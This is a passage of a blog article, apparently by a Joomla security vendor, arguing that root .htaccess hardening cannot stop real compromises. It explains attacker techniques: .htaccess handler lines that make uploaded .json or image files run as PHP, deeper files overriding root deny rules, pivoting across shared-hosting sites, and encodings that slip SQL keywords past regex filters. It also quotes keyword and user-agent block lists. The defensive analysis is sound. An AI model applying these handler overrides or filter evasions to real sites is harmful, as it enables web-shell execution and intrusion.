  &lt;p&gt;An attacker who can write a &lt;code&gt;.htaccess&lt;/code&gt; into a folder does not need to touch your server&apos;s PHP handler configuration at all. One line does it: &lt;code&gt;AddType application/x-httpd-php .jpg&lt;/code&gt;, or &lt;code&gt;AddHandler application/x-httpd-php .gif&lt;/code&gt;, or &lt;code&gt;SetHandler application/x-httpd-php&lt;/code&gt;, or on some stacks &lt;code&gt;php_flag engine on&lt;/code&gt;. Any one of those tells Apache to run every matching file in that directory through the PHP interpreter, so the &lt;code&gt;holiday.jpg&lt;/code&gt; they uploaded through your vulnerable contact form is now live, executable code.&lt;/p&gt;
  &lt;p&gt;This is exactly why the one genuinely useful hardening rule for an uploads folder is a &lt;code&gt;.htaccess&lt;/code&gt; that &lt;em&gt;denies&lt;/em&gt; PHP execution there, and exactly why an upload-anywhere bug that lets the attacker overwrite that rule with their own is the whole game. The defence and the weapon are the same file, and the attacker only needs to win the race for it once.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;This is not hypothetical. Take the &lt;a href=&quot;https://mysites.guru/blog/sp-page-builder-zero-day-uploadcustomicon-rce/&quot;&gt;SP Page Builder zero-day&lt;/a&gt;, an unauthenticated file upload that lets a guest write files into a Joomla site. On a site that has done the &quot;recommended&quot; hardening, direct execution of &lt;code&gt;.php&lt;/code&gt; is denied, so a plain &lt;code&gt;shell.php&lt;/code&gt; upload would only ever return a 403. The attacker knows this, so they do not upload &lt;code&gt;.php&lt;/code&gt; at all. They write their payload as a &lt;code&gt;.json&lt;/code&gt; file, which slips past both the filename filter and the &lt;code&gt;.php&lt;/code&gt; deny rule, and they drop a &lt;code&gt;.htaccess&lt;/code&gt; beside it that teaches Apache to run every &lt;code&gt;.json&lt;/code&gt; file in that folder through the PHP interpreter:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;AddType application/x-httpd-php .json
AddHandler application/x-httpd-php .json
&amp;lt;FilesMatch &quot;\.json$&quot;&amp;gt;
    SetHandler application/x-httpd-php
&amp;lt;/FilesMatch&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now &lt;code&gt;payload.json&lt;/code&gt; is not data any more, it is executable code, and it runs on the very next request. The carefully written rule that denied &lt;code&gt;.php&lt;/code&gt; was never in the fight, because the attacker simply chose an extension it never named. &lt;code&gt;.json&lt;/code&gt; looks like configuration, like a language file, like something no security guide ever thought to block, and that is precisely why it was picked. You guarded one door; they walked through the one beside it and relabelled it on the way in.&lt;/p&gt;
&lt;p&gt;There is a subtler and more damning version of this, and it needs no upload-anywhere bug and no deletion primitive at all. Your protective rule and the attacker&apos;s &lt;code&gt;.htaccess&lt;/code&gt; use the exact same mechanism, and Apache always hands the win to whichever one sits &lt;em&gt;deeper&lt;/em&gt; in the tree. Apache assembles the &lt;code&gt;.htaccess&lt;/code&gt; rules for a request by walking from your document root down to the folder holding the file, applying each in turn, so the most specific, deepest file has the final word. Your &quot;no PHP in &lt;code&gt;/images/&lt;/code&gt;&quot; rule lives in the root, one or more levels up. The attacker is writing &lt;em&gt;into&lt;/em&gt; &lt;code&gt;/images/&lt;/code&gt;, the very folder your vulnerable form let them reach. They drop a one-line &lt;code&gt;.htaccess&lt;/code&gt; beside their uploaded file that re-enables execution, and because their file is deeper than yours, it overrides yours for that folder. Your root rule is never touched. It is simply out-nested. Put a lock on the fridge and I will drill through the back of it, take a beer, and fit my own lock to the hole I made. Yours is still there. Still shiny, still locked, still on the front of a fridge I am no longer using the front of.&lt;/p&gt;
&lt;p&gt;The symmetry is the whole trap. The &lt;code&gt;AllowOverride&lt;/code&gt; setting that lets &lt;em&gt;your&lt;/em&gt; &lt;code&gt;.htaccess&lt;/code&gt; deny PHP in that folder is the identical setting that lets &lt;em&gt;their&lt;/em&gt; &lt;code&gt;.htaccess&lt;/code&gt; allow it straight back. It is one switch, set in the server config for the entire tree, and you cannot have it on for your deny rule and off for their allow rule. The only version of this block a dropped &lt;code&gt;.htaccess&lt;/code&gt; cannot reverse is one written at the server layer: &lt;code&gt;php_admin_flag engine off&lt;/code&gt; in a &lt;code&gt;&amp;lt;Directory&amp;gt;&lt;/code&gt; block, which &lt;code&gt;.htaccess&lt;/code&gt; is expressly forbidden from countermanding, or &lt;code&gt;AllowOverride None&lt;/code&gt; on that path so the attacker&apos;s file is never read at all. Which is to say, once again, that the only real protection lives at the layer the root-&lt;code&gt;.htaccess&lt;/code&gt; hardening guide, and the shared-hosting user pasting it in, cannot reach.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Technical detail: the deepest .htaccess wins&lt;/p&gt;
  &lt;p&gt;When several &lt;code&gt;.htaccess&lt;/code&gt; files apply to one request, Apache does not pick one, it merges them from the document root down to the requested file&apos;s directory and applies the deepest one last. A root rule such as &lt;code&gt;&amp;lt;FilesMatch &quot;\.php$&quot;&amp;gt; Require all denied &amp;lt;/FilesMatch&amp;gt;&lt;/code&gt; guarding &lt;code&gt;/images/&lt;/code&gt; is therefore overridden by a &lt;code&gt;&amp;lt;FilesMatch &quot;\.php$&quot;&amp;gt; Require all granted &amp;lt;/FilesMatch&amp;gt;&lt;/code&gt; an attacker drops inside &lt;code&gt;/images/&lt;/code&gt;, because Apache&apos;s default &lt;code&gt;AuthMerging Off&lt;/code&gt; uses only the closest context&apos;s authorization directives, and the attacker&apos;s context is closer. The same holds for &lt;code&gt;php_flag engine on&lt;/code&gt; under mod_php, or an &lt;code&gt;AddHandler application/x-httpd-php .php&lt;/code&gt; / &lt;code&gt;SetHandler&lt;/code&gt; line that re-routes execution: the deeper file has the final say.&lt;/p&gt;
  &lt;p&gt;This block can only be made irreversible where a &lt;code&gt;.htaccess&lt;/code&gt; cannot reach or override it: &lt;code&gt;php_admin_flag engine off&lt;/code&gt; (forbidden in &lt;code&gt;.htaccess&lt;/code&gt;, honoured only from &lt;code&gt;httpd.conf&lt;/code&gt; or a vhost), or the deny placed in a server-config &lt;code&gt;&amp;lt;Directory&amp;gt;&lt;/code&gt; block with &lt;code&gt;AllowOverride None&lt;/code&gt; on that path, so no &lt;code&gt;.htaccess&lt;/code&gt; in the folder is read at all. Both are server-layer controls. An attacker standing in your uploads folder is always deeper in the tree than your root rule, and when Apache decides a contest by depth, the one writing into the leaf folder wins by default.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;I know this class of bug intimately, because I have reported it in Joomla core itself.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;CVE-2026-23898 - reported by Phil Taylor&lt;/p&gt;
  &lt;p&gt;&lt;a href=&quot;https://developer.joomla.org/security-centre/1031.html&quot;&gt;CVE-2026-23898&lt;/a&gt; is a high-severity arbitrary file deletion vulnerability (CWE-73, CVSS 4.0 score 8.6) in &lt;code&gt;com_joomlaupdate&lt;/code&gt;, the component responsible for keeping Joomla up to date. A lack of input validation in the autoupdate server mechanism allowed deletion of files the PHP process can reach, not just Joomla files, anything the web server user has access to. It affected Joomla 4.0.0 through 5.4.3 and 6.0.0 through 6.0.3, and was fixed in 5.4.4 and 6.0.4.&lt;/p&gt;
  &lt;p&gt;The point for this article is blunt: the very file you rely on for hardening is one of the first an attacker with a deletion primitive would remove, and the component that could have deleted it was Joomla&apos;s own updater. If your entire security posture is a file, your entire security posture is one file-deletion bug away from gone.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;So the defence you spent a careful afternoon perfecting can be undone in a single request by a bug in an extension you had forgotten was installed, or, as CVE-2026-23898 shows, by a bug in Joomla core. The lock is only ever as strong as the weakest extension&apos;s ability to reach the door frame, and in a typical Joomla site with twenty or thirty third-party extensions, a great many of them can reach the door frame. Betting your security on the integrity of a file that dozens of code paths can write to or delete is not a strong position.&lt;/p&gt;
&lt;h2&gt;Would a stricter default .htaccess have stopped last month&apos;s hacks?&lt;/h2&gt;
&lt;p&gt;No. Not one of them. I went back through every Joomla SQL injection and every unauthenticated upload-to-remote-code-execution flaw we confirmed in the last month, and a stricter default &lt;code&gt;.htaccess&lt;/code&gt;, the kind now being proposed, one that restricts entry points and whitelists a handful of locations, would not have prevented a single one. That is not a rhetorical flourish. It is the direct consequence of the mechanic above: those exploits all arrive as ordinary requests to &lt;code&gt;index.php&lt;/code&gt;, and &lt;code&gt;index.php&lt;/code&gt; is the one entry point any workable whitelist has to keep open. You would have been compromised on exactly the same day, in exactly the same way, with or without the extra rules.&lt;/p&gt;
&lt;p&gt;What a stricter &lt;code&gt;.htaccess&lt;/code&gt; changes is not &lt;em&gt;whether&lt;/em&gt; the intruder gets in, but what he finds once he is inside, and even that he routes around in seconds. Picture the break-in properly. He is already through the front door, because the SQL injection or the upload flaw let him walk in through &lt;code&gt;index.php&lt;/code&gt;. Now he wants to leave himself a web shell somewhere it will run. The media cupboard is bolted, the &lt;code&gt;tmp&lt;/code&gt; room is locked, a couple of the internal doors are shut, because your shiny default &lt;code&gt;.htaccess&lt;/code&gt; whitelisted three folders and denied the rest. So he does the digital equivalent of finding the downstairs toilet locked and simply relieving himself in the garage instead. He writes his shell into one of the many writable locations your three-folder whitelist never covered. Or he skips dropping a file altogether: he uses the same hole to add himself a Super User account, or to inject a malicious template override that Joomla itself will execute, and runs his code straight through the front controller. The locked internal doors did not stop him. They only decided which room he wrecked.&lt;/p&gt;
&lt;p&gt;And some of last month&apos;s flaws do not even fit that picture, because nothing is ever dropped, executed or hidden. Take the &lt;a href=&quot;https://mysites.guru/blog/events-booking-invoice-idor/&quot;&gt;Events Booking invoice leak&lt;/a&gt; we disclosed. A stricter default &lt;code&gt;.htaccess&lt;/code&gt;, even the entry-point-restricting kind now being proposed, would have waved it straight through, because the whole attack is a single ordinary GET to &lt;code&gt;index.php&lt;/code&gt;, the one endpoint the rule is built to allow. There is no shell, no &lt;code&gt;.php&lt;/code&gt; file, no payload of any kind for a rule to catch. The attacker just increments the ID in the web address and the server hands back another registrant&apos;s invoice: full name, postal address, email, and the amount they paid. So the strictest whitelist you can write still leaves the personal and financial data of every attendee readable by anyone on the internet, because reading it never looked like an attack in the first place. It looked exactly like a visitor collecting their own receipt.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Technical detail: what a whitelist of locations actually blocks&lt;/p&gt;
  &lt;p&gt;A restricted-entry-point &lt;code&gt;.htaccess&lt;/code&gt; typically does two things: rewrite unknown paths to &lt;code&gt;index.php&lt;/code&gt;, and deny direct execution of &lt;code&gt;.php&lt;/code&gt; files outside a small allow-list, using a &lt;code&gt;&amp;lt;FilesMatch&amp;gt;&lt;/code&gt; block or a &lt;code&gt;RewriteRule&lt;/code&gt; that 403s any &lt;code&gt;.php&lt;/code&gt; request that is not &lt;code&gt;index.php&lt;/code&gt;. That stops exactly one move: browsing directly to a shell at &lt;code&gt;/images/evil.php&lt;/code&gt;. It does nothing about the SQL injection, the upload flaw, the add-an-admin, the template-override injection, or the PHP object injection, because every one of those executes &lt;em&gt;through&lt;/em&gt; &lt;code&gt;index.php&lt;/code&gt;, which is allow-listed by necessity.&lt;/p&gt;
  &lt;p&gt;Nor does it stop a shell written into any directory the rule did not enumerate, and Joomla writes to far more than three folders: &lt;code&gt;tmp/&lt;/code&gt;, &lt;code&gt;cache/&lt;/code&gt;, &lt;code&gt;administrator/cache/&lt;/code&gt;, &lt;code&gt;logs/&lt;/code&gt;, per-extension upload paths, avatar directories, and more. Whitelisting &lt;code&gt;images&lt;/code&gt;, &lt;code&gt;media&lt;/code&gt; and &lt;code&gt;files&lt;/code&gt; is not a perimeter. It is three locked doors in a house full of open windows, and the attacker only has to notice one window.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;And &quot;whitelist a few example locations&quot; is more fragile than it sounds precisely because Joomla and its extensions scatter writable, sometimes web-served, directories all over the tree. Why lock the fridge and leave the freezer standing open beside it? A default that only reasons about three of them hands users a powerful feeling of coverage that the filesystem does not back up. Worse, every legitimate extension that writes or serves from a non-whitelisted path now breaks with a bare 403 and no clue as to why, which is the definition of a silent breaking change. And a user who cannot read the &lt;code&gt;.htaccess&lt;/code&gt; well enough to add a precise exception has exactly one obvious fix when their gallery or forms extension stops working: delete the whole file. One broken feature, and every rule you shipped to protect them goes in the bin together.&lt;/p&gt;
&lt;p&gt;There is a further problem the whitelist creates rather than solves, and it follows directly from what it chooses to allow. The whole point of that allow-list is to permit images, PDFs and text files while refusing executables. But an attacker who can write those does not need code execution to get value out of your server. A file he can upload anonymously and have you serve from your own domain is free, hard-to-trace storage that points at you rather than at him: a malware payload, the images for someone else&apos;s phishing page, a text file staged for the next step of an attack, all hosted by you, delivered under your reputation, and traced back to your IP. We have watched exactly this in the unauthenticated upload flaws we reported in &lt;a href=&quot;https://mysites.guru/blog/events-booking-unauthenticated-upload-user-enumeration/&quot;&gt;Events Booking&lt;/a&gt; and &lt;a href=&quot;https://mysites.guru/blog/membership-pro-unauthenticated-file-upload/&quot;&gt;Membership Pro&lt;/a&gt;, where dropping a file was the foothold, not the finish. Whitelisting the &quot;safe&quot; extensions does not close that door, it blesses it: the folder is still a drop box, the file is still served, and your webspace is still doing an attacker&apos;s storage for him.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;The honest exception: when something did block one, it was not the .htaccess&lt;/p&gt;
  &lt;p&gt;In fairness, one of the vulnerabilities we disclosed was stopped on some sites before it ever reached the vulnerable code, so it is worth being precise about what stopped it. It was Admin Tools&apos; web application firewall catching the SQL injection payload at runtime, not the &lt;code&gt;.htaccess&lt;/code&gt; that the same product&apos;s &lt;code&gt;.htaccess&lt;/code&gt; Maker generates. Those are two separate features that happen to ship inside one extension, and people conflate them constantly. The WAF is PHP, running inside the request, able to inspect parameter values after Joomla has parsed them, which is exactly the layer a &lt;code&gt;.htaccess&lt;/code&gt; cannot reach. Give the credit to the thing that earned it.&lt;/p&gt;
  &lt;p&gt;And even that is thinner than it looks, because it is a toggle. The SQLi filter sits on a settings screen, alongside other filters that occasionally throw a false positive on a legitimate request, and it is one click away from being switched off by an administrator who does not know what SQL injection is and only knows that turning that thing off made the complaint stop. A protection that depends on a checkbox nobody understands staying ticked is not a protection you can count on. It also never fixed the vulnerable query sitting behind it, which is still there, still waiting, on every site where the box gets unticked.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Now for the part that should genuinely worry you, because it is how most of these break-ins actually finish. Your beautifully hardened live site does not live alone. It shares a hosting account, a filesystem, and very often a single PHP process, with every other site in that account. And one of those other sites is the dev copy you spun up on a subdomain two years ago, never updated, still running &lt;code&gt;test&lt;/code&gt; / &lt;code&gt;test&lt;/code&gt; as the Super User password because it was &quot;only a test site&quot;. The attacker does not pick a single one of your expensive new locks. He walks into the neighbour you forgot about, through the connecting door, and comes out inside your live site&apos;s files. Your garage had an internal door into the kitchen, and you left the garage unlocked.&lt;/p&gt;
&lt;h2&gt;The weakest site in your webspace is the way in&lt;/h2&gt;
&lt;p&gt;Running many domains and many different applications, a Joomla site here, a couple of WordPress sites there, an old Drupal thing nobody remembers installing, inside a single webspace is a serious mistake. Do not do it. The reason is simple. If an attacker compromises just one file, they can infect and reinfect every file and every site in that webspace, and in the worst case they can delete all of them. Hack one, hack all. This argument alone should end the &quot;let&apos;s just ship a stricter default &lt;code&gt;.htaccess&lt;/code&gt;&quot; conversation, because it is a dominant real-world compromise path and a &lt;code&gt;.htaccess&lt;/code&gt; can do nothing about it.&lt;/p&gt;
&lt;p&gt;A quick definition, because the webspace is the unit that actually matters here and almost nobody thinks in it. On a cPanel server, a &lt;em&gt;webspace&lt;/em&gt; is a single cPanel account together with its &lt;code&gt;public_html&lt;/code&gt; folder. Everything below that folder shares the same space, however many separate domains, subdomains and applications you have pointed at it:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;./public_html/dev
./public_html/old
./public_html/new
./public_html/anotherdomain.com
./thisdomain.com
./subdomain.domain.com
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Those are not six sites in any sense the operating system recognises. They are six folders belonging to one user, and that user is the one PHP runs as. They share a filesystem, and very often a single PHP-FPM pool. To the server there is no live site and no dev site, no Joomla and no WordPress, no client A and no client B. There are just folders, and they all belong to the same person. The &lt;code&gt;.htaccess&lt;/code&gt; on your best-defended site has no vote in any of this, because the file that gets compromised is not going to be on your best-defended site.&lt;/p&gt;
&lt;p&gt;The consequence is brutally simple. Whoever compromises the &lt;em&gt;weakest&lt;/em&gt; site in that account very often gets read and write access to &lt;em&gt;all&lt;/em&gt; of them, because to the operating system they are all just files owned by the same user. The attacker who cannot find a bug in your fully patched, carefully hardened live Joomla does not sit there hammering it. He enumerates the account, finds &lt;code&gt;dev.yoursite.com&lt;/code&gt; running a three-year-old Joomla with a known unauthenticated RCE and &lt;code&gt;test&lt;/code&gt;/&lt;code&gt;test&lt;/code&gt; credentials, pops it in seconds, and from that foothold reads your live site&apos;s &lt;code&gt;configuration.php&lt;/code&gt;, connects to the very same database, writes a shell into your live document root, or just inserts himself an administrator row. Every &lt;code&gt;.htaccess&lt;/code&gt; rule on your live site is beside the point, because he never sent a single HTTP request to your live site at all.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Technical detail: one Unix user, every site&lt;/p&gt;
  &lt;p&gt;On typical shared hosting, all of an account&apos;s sites run as a single Unix user, often through one PHP-FPM pool, with &lt;code&gt;open_basedir&lt;/code&gt; either unset or scoped to the whole account rather than per-vhost. So PHP running on the compromised dev site can &lt;code&gt;fopen()&lt;/code&gt;, &lt;code&gt;include()&lt;/code&gt; and &lt;code&gt;unlink()&lt;/code&gt; files belonging to the live site, because at the OS level they are all the same user&apos;s files. The live site&apos;s &lt;code&gt;configuration.php&lt;/code&gt; is readable to that user by necessity, so its database name, user and password are one &lt;code&gt;file_get_contents()&lt;/code&gt; away, and the database is usually reachable from any site in the account.&lt;/p&gt;
  &lt;p&gt;No web request is ever made to the live site, so no rule in its &lt;code&gt;.htaccess&lt;/code&gt;, restrictive or not, is ever consulted. Real isolation has to happen at the hosting layer, with separate users per site, per-site PHP pools, and CageFS-style jails. That is not something any &lt;code&gt;.htaccess&lt;/code&gt; can provide, and no default Joomla ships can create it.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;This bites hardest with development sites, and they deserve singling out, because the pattern is so reliable it is close to a law. A dev site should never share a webspace with a live one. It always goes the same way. The dev copy is spun up in a hurry, it does its job, and then it is abandoned. Nobody updates it, because it is &quot;only a test site&quot; and keeping it patched was never anybody&apos;s job. It falls out of date. It turns vulnerable. And because it is sitting in a folder called &lt;code&gt;dev&lt;/code&gt;, or &lt;code&gt;new&lt;/code&gt;, or &lt;code&gt;old&lt;/code&gt;, or &lt;code&gt;staging&lt;/code&gt;, or &lt;code&gt;test&lt;/code&gt;, an attacker&apos;s scanner finds it without needing any cleverness whatsoever, since those are the first names on the list it was going to try anyway. Then it is brute force against &lt;code&gt;test&lt;/code&gt;/&lt;code&gt;test&lt;/code&gt;, or a vulnerability disclosed last month that this copy will never be given the patch for, and they are in. Not in the dev site. In the webspace, and your live site is in the webspace.&lt;/p&gt;
&lt;p&gt;I have watched this at scale, and the scale is the part people refuse to believe until it happens to them. Some GoDaddy Reseller plans pack hundreds of sites into a single account, which is to say a single shared webspace. In one case, one old and vulnerable site led to more than a hundred sites being hacked at once. Every file was infected with a different hacker string, so there was no pattern to match and no find-and-replace that would clean it. And the cleanup was not merely hard, it was impossible in place: not one of those sites could be cleaned until each had been moved into its own isolated webspace first, because anything cleaned would be reinfected within minutes by the compromised sites still sitting beside it. The infection was not in a site. It was in the space.&lt;/p&gt;
&lt;p&gt;So the best practice here is one line long, and it is not a rewrite rule. Give every site its own isolated webspace: one site, one account, one Unix user, one &lt;code&gt;public_html&lt;/code&gt;. It costs more than cramming a dozen sites into the plan you are already paying for, and it is worth every penny, because it is the difference between &quot;hack one, hack all&quot; and &quot;hack one, hack one&quot;.&lt;/p&gt;
&lt;p&gt;A default &lt;code&gt;.htaccess&lt;/code&gt; that restricts entry points does absolutely nothing about this, and it cannot, because the attack never touches your site&apos;s entry points. This is exactly why we care so much about knowing the version and patch state of &lt;em&gt;every&lt;/em&gt; site in an account, not just the flagship one. The abandoned, unmonitored, unpatched site is not a low-priority afterthought to clean up later. It is very often the actual front door, standing wide open, while you are busy polishing the locks on a door nobody is even trying.&lt;/p&gt;
&lt;h2&gt;Who decided viagra was a dangerous word?&lt;/h2&gt;
&lt;p&gt;Here is where the theatre becomes impossible to unsee. Joomla&apos;s own &lt;a href=&quot;https://docs.joomla.org/Htaccess_examples_(security)&quot;&gt;htaccess security examples&lt;/a&gt; documentation still recommends a &quot;Basic antispam Filter&quot; that forbids any request whose query string contains a hardcoded list of pharmaceutical and drug words:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;########## Begin - Basic antispam Filter, by SigSiu.net
## This code uses PCRE and works only with Apache 2.x.
RewriteCond %{QUERY_STRING} \b(ambien|blue\spill|cialis|cocaine|erectile)\b [NC,OR]
RewriteCond %{QUERY_STRING} \b(erections|hoodia|impotence|levitra|libido)\b [NC,OR]
RewriteCond %{QUERY_STRING} \b(lipitor|phentermin|tramadol|ultram|valium)\b [NC,OR]
RewriteCond %{QUERY_STRING} \b(viagra|vicodin|xanax|huronriveracres|troyhamby)\b [NC]
RewriteRule .* - [F]
########## End - Basic antispam Filter
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That &lt;code&gt;[F]&lt;/code&gt; means forbidden. Any request whose query string trips one of those words gets a 403, no page, no explanation. Now ask the obvious question that nobody who pasted this rule ever seems to ask. What if your site &lt;em&gt;is&lt;/em&gt; a pharmacy? A men&apos;s-health clinic? A GP surgery whose article search passes the query as &lt;code&gt;?q=erectile+dysfunction&lt;/code&gt;? A sexual-health charity? An addiction-recovery service whose visitors are literally searching for &quot;valium&quot;, &quot;xanax&quot; and &quot;tramadol&quot; because those are the things they are trying to stop? Every one of those sites now serves 403 errors on legitimate searches, and the owner has no idea why, because nobody reads the &lt;code&gt;.htaccess&lt;/code&gt; they pasted in three years ago, and a 403 on a search result is exactly the kind of intermittent failure that never gets diagnosed.&lt;/p&gt;
&lt;p&gt;So ask the deeper question. Why does the Joomla project get to decide, by default, which words your visitors are allowed to type into a search box on your own website? Nobody voted for that. It is a values judgement about content, baked into a security file, shipped to everyone. And then look closer at the list, because it gives the game away. &lt;code&gt;huronriveracres&lt;/code&gt;, &lt;code&gt;troyhamby&lt;/code&gt;, &lt;code&gt;sandyauer&lt;/code&gt;, &lt;code&gt;ypxaieo&lt;/code&gt;, &lt;code&gt;unicauca&lt;/code&gt;: those are not drugs. They are fossilised referrer-spam and comment-spam tokens from mid-2000s blocklists, from the MT-Blacklist and referrer-spam era, the same corpus that circulated in things like the old &quot;Ultimate htaccess Blacklist&quot;. They mean nothing today. They are in a Joomla security example in 2026 because they were copied forward, file to file, site to site, for close to twenty years by people who never questioned a single line of what they were pasting. The block even carries the tell &quot;I removed some common words, tweak to your liking&quot;, the fingerprint of a hand-me-down list nobody actually owns.&lt;/p&gt;
&lt;h3&gt;Every blocklist loses to the person you are blocking&lt;/h3&gt;
&lt;p&gt;There is a deeper problem here, and it does not stop at the pharmaceutical filter. It applies to the user-agent blocks, the bad-referrer blocks, the SQL-keyword blocks, and every other &quot;deny these known-bad strings&quot; rule that these hardening guides ship. &lt;strong&gt;The attacker controls the request, completely.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;A blocklist can only ever contain the bad things you already know about. That is its fundamental, unfixable weakness. The instant an attacker uses a user-agent string, a query word, a referrer or a payload encoding that you did not put on your list, and doing so costs them nothing, a single character change, a different scanner, a fresh string, they sail straight through as if the rule were not there. Blocking &lt;code&gt;libwww&lt;/code&gt; or &lt;code&gt;wget&lt;/code&gt; or &lt;code&gt;python-requests&lt;/code&gt; in your user-agent rules stops precisely the lazy, and the lazy simply set their user-agent to &lt;code&gt;Mozilla/5.0&lt;/code&gt; and try again. This is the security anti-pattern that has been understood for decades: you cannot enumerate all the badness in the world, you can only enumerate the tiny, stale subset you have personally heard of, which means a deny-list is permanently one step behind whoever it is pointed at.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Technical detail: why a regex blocklist never holds&lt;/p&gt;
  &lt;p&gt;Take a filter that blocks the string &lt;code&gt;union select&lt;/code&gt;. The attacker sends &lt;code&gt;uni%6fn%20sel%65ct&lt;/code&gt; (URL-encoded), or &lt;code&gt;union/**/select&lt;/code&gt; (an inline SQL comment splitting the keyword), or &lt;code&gt;UnIoN SeLeCt&lt;/code&gt; (case variation), or double-URL-encodes it so your rule sees a harmless &lt;code&gt;%2575nion&lt;/code&gt; that Apache only decodes to &lt;code&gt;union&lt;/code&gt; after your &lt;code&gt;RewriteCond&lt;/code&gt; has already passed it, or splits the payload across two request parameters your single-line regex was never going to join up.&lt;/p&gt;
  &lt;p&gt;The same is true of user-agent and referrer blocks: those are attacker-supplied strings, changed with a one-line header edit. A blocklist is, at best, a list of the disguises you have already seen someone wear. The attacker&apos;s entire job is to turn up in one you haven&apos;t, and there are infinitely many of those.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;And it fails in both directions at once, which is the worst possible outcome. It never stops a competent attacker, because they just pick a string that is not on your list. And it &lt;em&gt;does&lt;/em&gt; keep blocking your real visitors, your real customers, your real search traffic, because they occasionally trip a fossilised entry that nobody remembers adding and nobody dares remove. No security benefit against anyone who is actually trying, plus a permanent trickle of broken legitimate traffic and mystery 403s. If you are going to control access at all, you allow-list what is known-good, or better still you fix the code so it does not matter what the input is. You do not play whack-a-mole with a list of bad words and call it hardening.&lt;/p&gt;
&lt;h2&gt;Burning CPU to block a threat PHP deleted in 2013&lt;/h2&gt;
&lt;p&gt;The same Joomla documentation ships a rule to &quot;Disallow PHP Easter Eggs&quot;, complete with references for further reading:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;## Disallow PHP Easter Eggs (fingerprinting the PHP version).
## See http://www.0php.com/php_easter_egg.php and http://osvdb.org/12184
RewriteCond %{QUERY_STRING} \=PHP[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12} [NC]
RewriteRule .* - [F]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;PHP Easter eggs were the magic GUID query strings, like &lt;code&gt;?=PHPE9568F34-D428-11d2-A769-00AA001ACF42&lt;/code&gt;, that made old PHP versions echo back a hidden logo or the credits page, which a scanner could use to fingerprint the exact PHP version. There are three separate things wrong with still defending against them in 2026, and together they make this rule a small monument to how &lt;code&gt;.htaccess&lt;/code&gt; hardening actually ages.&lt;/p&gt;
&lt;p&gt;First, the threat no longer exists. PHP removed the Easter eggs entirely in &lt;strong&gt;PHP 5.5, released on 20 June 2013&lt;/strong&gt;. The magic GUIDs &quot;no longer have any special functionality&quot; from that release onward. Joomla 4 requires PHP 7.2.5 as an absolute floor, and Joomla 5 and 6 require PHP 8.x. There is no PHP version that any supported Joomla can even run on that still has the feature this rule is guarding against. It is a regular expression evaluated against the query string of every single request, forever, to defend against something that was deleted from the language more than a decade ago.&lt;/p&gt;
&lt;p&gt;Second, even back when the Easter eggs were real, a rewrite rule was never the right fix. The correct mitigation was, and is, one line in &lt;code&gt;php.ini&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;expose_php = Off
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That single directive suppresses the Easter-egg GUIDs &lt;em&gt;and&lt;/em&gt; the &lt;code&gt;X-Powered-By: PHP/8.x&lt;/code&gt; response header, at the engine layer, once, with zero per-request cost. It is a server-layer concern, and it belongs in server-layer configuration, not in a per-request regular expression at the back of the stack. The &lt;code&gt;.htaccess&lt;/code&gt; version does a worse version of the same job, more expensively, on every hit, and only covers the GUID half while leaving the &lt;code&gt;X-Powered-By&lt;/code&gt; header it was worried about untouched.&lt;/p&gt;
&lt;p&gt;Third, the rule&apos;s own references are dead. It points you at &lt;code&gt;osvdb.org/12184&lt;/code&gt; for more information, and OSVDB, the Open Sourced Vulnerability Database, shut down permanently on 5 April 2016. The other reference, &lt;code&gt;0php.com&lt;/code&gt;, is a long-defunct mid-2000s site. So here is a rule, shipped in current Joomla documentation, that mitigates a class of bug PHP deleted 13 years ago, at the wrong layer, citing two reference sites that no longer exist. That is not an outlier. That is what an awful lot of &lt;code&gt;.htaccess&lt;/code&gt; hardening quietly is: a pile of rules nobody understands, guarding threats that are gone, copied between sites by people who assume that more rules must mean more safety.&lt;/p&gt;
&lt;p&gt;And every one of those dead rules has a running cost. Apache&apos;s &lt;a href=&quot;https://httpd.apache.org/docs/current/howto/htaccess.html&quot;&gt;own documentation&lt;/a&gt; is blunt about it: when &lt;code&gt;.htaccess&lt;/code&gt; is enabled, &quot;httpd will look in every directory for &lt;code&gt;.htaccess&lt;/code&gt; files&quot;, and it does so &quot;whether or not you actually even use them&quot;. Worse, it walks the &lt;em&gt;entire&lt;/em&gt; directory tree to assemble the rules: a request under &lt;code&gt;/www/htdocs/example/&lt;/code&gt; forces Apache to look for &lt;code&gt;.htaccess&lt;/code&gt; in &lt;code&gt;/&lt;/code&gt;, &lt;code&gt;/www/&lt;/code&gt;, &lt;code&gt;/www/htdocs/&lt;/code&gt; and &lt;code&gt;/www/htdocs/example/&lt;/code&gt;, &quot;4 additional file-system accesses, even if none of those files are present&quot;, on every single request. More rules, in more files, deeper trees, is slower and occasionally less secure, not more.&lt;/p&gt;
&lt;h2&gt;What Joomla actually ships, and why nobody reads it&lt;/h2&gt;
&lt;p&gt;To be fair to Joomla, it does try, and the effort is not the problem. The problem is that the effort reaches nobody, because the thing it produces is unreadable to almost everyone who receives it.&lt;/p&gt;
